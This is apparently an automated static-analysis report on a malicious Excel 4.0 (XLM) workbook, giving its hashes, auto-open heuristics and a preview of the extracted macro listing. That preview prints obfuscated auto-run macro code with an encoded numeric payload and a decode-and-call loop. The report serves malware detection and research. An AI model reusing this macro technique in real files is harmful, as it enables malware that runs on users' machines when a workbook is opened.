Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15cd32c5cc75fe35…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:07 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 4b212ca4c28d8434457bab91fbdb910b SHA-1: 8fe50c1af94f2ce68306752cd32445eadb4df687 SHA-256: 15cd32c5cc75fe358fd4049a8766f14907bb70b5aabc636d10ae0871b2171f31
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6681 bytes
SHA-256: dae2caef6fb662744744d7524e0dc07b5c6127b13169fdfa69d03408d98e602f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xFEBUkb
' 0018     24 LABEL : Cell Value, String Constant - adNTJckPx len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D142 
' 0018     27 LABEL : Cell Value, String Constant - BHkbJwtmOplt len=0 
' 0018     20 LABEL : Cell Value, String Constant - BRVVd len=0 
' 0018     23 LABEL : Cell Value, String Constant - CrQvbMGK len=0 
' 0018     23 LABEL : Cell Value, String Constant - eABzJsbW len=0 
' 0018     21 LABEL : Cell Value, String Constant - FprgtS len=0 
' 0018     21 LABEL : Cell Value, String Constant - iGGgjP len=0 
' 0018     23 LABEL : Cell Value, String Constant - iXWWOuiU len=0 
' 0018     26 LABEL : Cell Value, String Constant - jAxHZztyaSU len=0 
' 0018     25 LABEL : Cell Value, String Constant - kngwSdsAAh len=0 
' 0018     27 LABEL : Cell Value, String Constant - MWBCkVyYacNZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - NcuMDPQon len=0 
' 0018     22 LABEL : Cell Value, String Constant - NDSFuBw len=0 
' 0018     23 LABEL : Cell Value, String Constant - rCXZXZsY len=0 
' 0018     20 LABEL : Cell Value, String Constant - rIGMJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - ScYrz len=0 
' 0018     26 LABEL : Cell Value, String Constant - sElZsobMJkq len=0 
' 0018     27 LABEL : Cell Value, String Constant - twlDHYTfMKkj len=0 
' 0018     21 LABEL : Cell Value, String Constant - XTWUiN len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZmxjCHK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xFEBUkb,D59,"SET.NAME("iXWWOuiU",0+VALUE("0"))",""
'  xFEBUkb,D63,"SET.NAME("iGGgjP",iXWWOuiU)",""
'  xFEBUkb,D66,"SET.NAME("ZmxjCHK",iXWWOuiU)",""
'  xFEBUkb,D68,"SET.NAME("adNTJckPx",COUNTA(FprgtS))",""
'  xFEBUkb,D73,"SET.NAME("twlDHYTfMKkj",COUNTA(NcuMDPQon))",""
'  xFEBUkb,D75,[],""
'  xFEBUkb,D77,"SET.NAME("CrQvbMGK","")",""
'  xFEBUkb,D80,"iGGgjP",""
'  xFEBUkb,D83,"SET.NAME("BRVVd",HLOOKUP("*",FprgtS,iGGgjP,FALSE))",""
'  xFEBUkb,D86,"rCXZXZsY",""
'  xFEBUkb,D90,"SET.NAME("rIGMJ",iXWWOuiU)",""
'  xFEBUkb,D92,[],""
'  xFEBUkb,R93,"",-526.00000000000000000000
'  xFEBUkb,R94,"",699.00000000000000000000
'  xFEBUkb,R95,"",-406.00000000000000000000
'  xFEBUkb,R96,"",-841.00000000000000000000
'  xFEBUkb,D97,"rIGMJ",""
'  xFEBUkb,R97,"",758.00000000000000000000
'  xFEBUkb,R98,"",856.00000000000000000000
'  xFEBUkb,D99,"MWBCkVyYacNZ",""
'  xFEBUkb,D104,"XTWUiN",""
'  xFEBUkb,D109,"BHkbJwtmOplt",""
'  xFEBUkb,D112,"SET.NAME("jAxHZztyaSU",VALUE(HLOOKUP("*",NcuMDPQon,BHkbJwtmOplt,FALSE)))",""
'  xFEBUkb,D115,"eABzJsbW",""
'  xFEBUkb,D119,"CrQvbMGK",""
'  xFEBUkb,D121,"ZmxjCHK",""
'  xFEBUkb,D126,NEXT(),""
'  xFEBUkb,D128,"sElZsobMJkq",""
'  xFEBUkb,D130,[],""
'  xFEBUkb,D132,"kngwSdsAAh",""
'  xFEBUkb,D136,NEXT(),""
'  xFEBUkb,D139,RETURN(),""
'  xFEBUkb,D165,"SET.NAME("ScYrz",D59)",""
'  xFEBUkb,D168,"FprgtS",""
'  xFEBUkb,D172,"SET.NAME("NcuMDPQon",R56C13)",""
'  xFEBUkb,D176,"SET.NAME("kngwSdsAAh",184)",""
'  xFEBUkb,D179,"SET.NAME("NDSFuBw",4)",""
'  xFEBUkb,D183,ScYrz(),""
'  xFEBUkb,D184,HALT(),""

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